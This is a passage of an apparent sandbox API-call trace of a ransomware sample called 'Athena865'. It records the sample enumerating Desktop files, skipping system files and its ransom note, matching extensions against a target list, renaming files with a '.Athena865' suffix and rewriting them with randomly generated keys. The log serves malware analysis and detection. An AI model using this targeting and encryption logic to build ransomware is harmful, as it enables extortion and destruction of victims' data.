returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0050.342] lstrlenW (lpString="p96") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0050.342] lstrlenW (lpString="p97") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0050.342] lstrlenW (lpString="pan") returned 3 [0050.342] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0050.343] lstrlenW (lpString="pdb") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0050.343] lstrlenW (lpString="pdm") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0050.343] lstrlenW (lpString="pnz") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0050.343] lstrlenW (lpString="qry") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0050.343] lstrlenW (lpString="qvd") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0050.343] lstrlenW (lpString="rbf") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0050.343] lstrlenW (lpString="rctd") returned 4 [0050.343] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0050.343] lstrlenW (lpString="rod") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0050.343] lstrlenW (lpString="rodx") returned 4 [0050.343] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0050.343] lstrlenW (lpString="rpd") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0050.343] lstrlenW (lpString="rsd") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0050.343] lstrlenW (lpString="sas7bdat") returned 8 [0050.343] lstrcmpiW (lpString1="oaLR.bmp", lpString2="sas7bdat") returned -1 [0050.343] lstrlenW (lpString="sbf") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0050.343] lstrlenW (lpString="scx") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0050.343] lstrlenW (lpString="sdb") returned 3 [0050.343] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0050.344] lstrlenW (lpString="sdc") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0050.344] lstrlenW (lpString="sdf") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0050.344] lstrlenW (lpString="sis") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0050.344] lstrlenW (lpString="spq") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0050.344] lstrlenW (lpString="te") returned 2 [0050.344] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0050.344] lstrlenW (lpString="teacher") returned 7 [0050.344] lstrcmpiW (lpString1="aLR.bmp", lpString2="teacher") returned -1 [0050.344] lstrlenW (lpString="tmd") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0050.344] lstrlenW (lpString="tps") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0050.344] lstrlenW (lpString="trc") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0050.344] lstrlenW (lpString="trc") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0050.344] lstrlenW (lpString="trm") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0050.344] lstrlenW (lpString="udb") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0050.344] lstrlenW (lpString="udl") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0050.344] lstrlenW (lpString="usr") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0050.344] lstrlenW (lpString="v12") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0050.344] lstrlenW (lpString="vis") returned 3 [0050.344] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0050.344] lstrlenW (lpString="vpd") returned 3 [0050.345] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0050.345] lstrlenW (lpString="vvv") returned 3 [0050.345] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0050.345] lstrlenW (lpString="wdb") returned 3 [0050.345] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0050.345] lstrlenW (lpString="wmdb") returned 4 [0050.345] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1 [0050.345] lstrlenW (lpString="wrk") returned 3 [0050.345] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0050.345] lstrlenW (lpString="xdb") returned 3 [0050.345] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0050.345] lstrlenW (lpString="xld") returned 3 [0050.345] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0050.345] lstrlenW (lpString="xmlff") returned 5 [0050.345] lstrcmpiW (lpString1="R.bmp", lpString2="xmlff") returned -1 [0050.345] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jk3oaLR.bmp.Athena865") returned 77 [0050.345] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jk3oaLR.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\7jk3oalr.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jk3oaLR.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\7jk3oalr.bmp.athena865"), dwFlags=0x1) returned 1 [0050.346] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jk3oaLR.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\7jk3oalr.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.346] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19942) returned 1 [0050.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.346] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.347] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.347] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.347] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50f0, lpName=0x0) returned 0x17c [0050.347] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x50f0) returned 0x100000 [0050.349] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.349] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.349] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.349] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.350] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.350] CloseHandle (hObject=0x17c) returned 1 [0050.350] CloseHandle (hObject=0x154) returned 1 [0050.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.352] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c3f7f0, ftCreationTime.dwHighDateTime=0x1d4c7c1, ftLastAccessTime.dwLowDateTime=0x24e86540, ftLastAccessTime.dwHighDateTime=0x1d4cecb, ftLastWriteTime.dwLowDateTime=0x24e86540, ftLastWriteTime.dwHighDateTime=0x1d4cecb, nFileSizeHigh=0x0, nFileSizeLow=0x143a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7_Hm3w1s.png", cAlternateFileName="")) returned 1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2=".") returned 1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="..") returned 1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="windows") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="bootmgr") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="temp") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="pagefile.sys") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="boot") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="ids.txt") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="ntuser.dat") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="perflogs") returned -1 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2="MSBuild") returned -1 [0050.352] lstrlenW (lpString="7_Hm3w1s.png") returned 12 [0050.352] lstrcpyW (in: lpString1=0x241e8b6, lpString2="7_Hm3w1s.png" | out: lpString1="7_Hm3w1s.png") returned="7_Hm3w1s.png" [0050.352] lstrlenW (lpString="7_Hm3w1s.png") returned 12 [0050.352] lstrlenW (lpString="Athena865") returned 9 [0050.352] lstrcmpiW (lpString1="m3w1s.png", lpString2="Athena865") returned 1 [0050.352] lstrlenW (lpString=".dll") returned 4 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2=".dll") returned 1 [0050.352] lstrlenW (lpString=".lnk") returned 4 [0050.352] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2=".lnk") returned 1 [0050.352] lstrlenW (lpString=".ini") returned 4 [0050.353] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2=".ini") returned 1 [0050.353] lstrlenW (lpString=".sys") returned 4 [0050.353] lstrcmpiW (lpString1="7_Hm3w1s.png", lpString2=".sys") returned 1 [0050.353] lstrlenW (lpString="7_Hm3w1s.png") returned 12 [0050.353] lstrlenW (lpString="bak") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0050.353] lstrlenW (lpString="ba_") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0050.353] lstrlenW (lpString="dbb") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0050.353] lstrlenW (lpString="vmdk") returned 4 [0050.353] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0050.353] lstrlenW (lpString="rar") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0050.353] lstrlenW (lpString="zip") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0050.353] lstrlenW (lpString="tgz") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0050.353] lstrlenW (lpString="vbox") returned 4 [0050.353] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0050.353] lstrlenW (lpString="vdi") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0050.353] lstrlenW (lpString="vhd") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0050.353] lstrlenW (lpString="vhdx") returned 4 [0050.353] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0050.353] lstrlenW (lpString="avhd") returned 4 [0050.353] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0050.353] lstrlenW (lpString="db") returned 2 [0050.353] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0050.353] lstrlenW (lpString="db2") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0050.353] lstrlenW (lpString="db3") returned 3 [0050.353] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0050.354] lstrlenW (lpString="dbf") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0050.354] lstrlenW (lpString="mdf") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0050.354] lstrlenW (lpString="mdb") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0050.354] lstrlenW (lpString="sql") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0050.354] lstrlenW (lpString="sqlite") returned 6 [0050.354] lstrcmpiW (lpString1="1s.png", lpString2="sqlite") returned -1 [0050.354] lstrlenW (lpString="sqlite3") returned 7 [0050.354] lstrcmpiW (lpString1="w1s.png", lpString2="sqlite3") returned 1 [0050.354] lstrlenW (lpString="sqlitedb") returned 8 [0050.354] lstrcmpiW (lpString1="3w1s.png", lpString2="sqlitedb") returned -1 [0050.354] lstrlenW (lpString="xml") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0050.354] lstrlenW (lpString="$er") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0050.354] lstrlenW (lpString="4dd") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0050.354] lstrlenW (lpString="4dl") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0050.354] lstrlenW (lpString="^^^") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0050.354] lstrlenW (lpString="abs") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0050.354] lstrlenW (lpString="abx") returned 3 [0050.354] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0050.354] lstrlenW (lpString="accdb") returned 5 [0050.354] lstrcmpiW (lpString1="s.png", lpString2="accdb") returned 1 [0050.354] lstrlenW (lpString="accdc") returned 5 [0050.354] lstrcmpiW (lpString1="s.png", lpString2="accdc") returned 1 [0050.355] lstrlenW (lpString="accde") returned 5 [0050.355] lstrcmpiW (lpString1="s.png", lpString2="accde") returned 1 [0050.355] lstrlenW (lpString="accdr") returned 5 [0050.355] lstrcmpiW (lpString1="s.png", lpString2="accdr") returned 1 [0050.355] lstrlenW (lpString="accdt") returned 5 [0050.355] lstrcmpiW (lpString1="s.png", lpString2="accdt") returned 1 [0050.355] lstrlenW (lpString="accdw") returned 5 [0050.355] lstrcmpiW (lpString1="s.png", lpString2="accdw") returned 1 [0050.355] lstrlenW (lpString="accft") returned 5 [0050.355] lstrcmpiW (lpString1="s.png", lpString2="accft") returned 1 [0050.355] lstrlenW (lpString="adb") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0050.355] lstrlenW (lpString="adb") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0050.355] lstrlenW (lpString="ade") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0050.355] lstrlenW (lpString="adf") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0050.355] lstrlenW (lpString="adn") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0050.355] lstrlenW (lpString="adp") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0050.355] lstrlenW (lpString="alf") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0050.355] lstrlenW (lpString="ask") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0050.355] lstrlenW (lpString="btr") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0050.355] lstrlenW (lpString="cat") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0050.355] lstrlenW (lpString="cdb") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0050.355] lstrlenW (lpString="ckp") returned 3 [0050.355] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0050.356] lstrlenW (lpString="cma") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0050.356] lstrlenW (lpString="cpd") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0050.356] lstrlenW (lpString="dacpac") returned 6 [0050.356] lstrcmpiW (lpString1="1s.png", lpString2="dacpac") returned -1 [0050.356] lstrlenW (lpString="dad") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0050.356] lstrlenW (lpString="dadiagrams") returned 10 [0050.356] lstrcmpiW (lpString1="Hm3w1s.png", lpString2="dadiagrams") returned 1 [0050.356] lstrlenW (lpString="daschema") returned 8 [0050.356] lstrcmpiW (lpString1="3w1s.png", lpString2="daschema") returned -1 [0050.356] lstrlenW (lpString="db-journal") returned 10 [0050.356] lstrcmpiW (lpString1="Hm3w1s.png", lpString2="db-journal") returned 1 [0050.356] lstrlenW (lpString="db-shm") returned 6 [0050.356] lstrcmpiW (lpString1="1s.png", lpString2="db-shm") returned -1 [0050.356] lstrlenW (lpString="db-wal") returned 6 [0050.356] lstrcmpiW (lpString1="1s.png", lpString2="db-wal") returned -1 [0050.356] lstrlenW (lpString="dbc") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0050.356] lstrlenW (lpString="dbs") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0050.356] lstrlenW (lpString="dbt") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0050.356] lstrlenW (lpString="dbv") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0050.356] lstrlenW (lpString="dbx") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0050.356] lstrlenW (lpString="dcb") returned 3 [0050.356] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0050.356] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0050.357] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_Hm3w1s.png.Athena865") returned 77 [0050.357] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_Hm3w1s.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\7_hm3w1s.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_Hm3w1s.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\7_hm3w1s.png.athena865"), dwFlags=0x1) returned 1 [0050.358] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\7_Hm3w1s.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\7_hm3w1s.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.358] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=82851) returned 1 [0050.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.359] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.360] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.360] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.360] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x146b0, lpName=0x0) returned 0x17c [0050.360] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x146b0) returned 0x100000 [0050.363] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.364] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.364] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.364] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.365] CloseHandle (hObject=0x17c) returned 1 [0050.365] CloseHandle (hObject=0x154) returned 1 [0050.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.367] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26cde4c0, ftCreationTime.dwHighDateTime=0x1d4d155, ftLastAccessTime.dwLowDateTime=0x29e1ceb0, ftLastAccessTime.dwHighDateTime=0x1d4d47a, ftLastWriteTime.dwLowDateTime=0x29e1ceb0, ftLastWriteTime.dwHighDateTime=0x1d4d47a, nFileSizeHigh=0x0, nFileSizeLow=0x1451, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8lbZk.flv", cAlternateFileName="")) returned 1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2=".") returned 1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="..") returned 1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="windows") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="bootmgr") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="temp") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="pagefile.sys") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="boot") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="ids.txt") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="ntuser.dat") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="perflogs") returned -1 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2="MSBuild") returned -1 [0050.367] lstrlenW (lpString="8lbZk.flv") returned 9 [0050.367] lstrcpyW (in: lpString1=0x241e8b6, lpString2="8lbZk.flv" | out: lpString1="8lbZk.flv") returned="8lbZk.flv" [0050.367] lstrlenW (lpString="8lbZk.flv") returned 9 [0050.367] lstrlenW (lpString="Athena865") returned 9 [0050.367] lstrlenW (lpString=".dll") returned 4 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2=".dll") returned 1 [0050.367] lstrlenW (lpString=".lnk") returned 4 [0050.367] lstrcmpiW (lpString1="8lbZk.flv", lpString2=".lnk") returned 1 [0050.367] lstrlenW (lpString=".ini") returned 4 [0050.368] lstrcmpiW (lpString1="8lbZk.flv", lpString2=".ini") returned 1 [0050.368] lstrlenW (lpString=".sys") returned 4 [0050.368] lstrcmpiW (lpString1="8lbZk.flv", lpString2=".sys") returned 1 [0050.368] lstrlenW (lpString="8lbZk.flv") returned 9 [0050.368] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\8lbZk.flv.Athena865") returned 74 [0050.368] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\8lbZk.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\8lbzk.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\8lbZk.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\8lbzk.flv.athena865"), dwFlags=0x1) returned 1 [0050.369] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\8lbZk.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\8lbzk.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.369] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5201) returned 1 [0050.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.369] 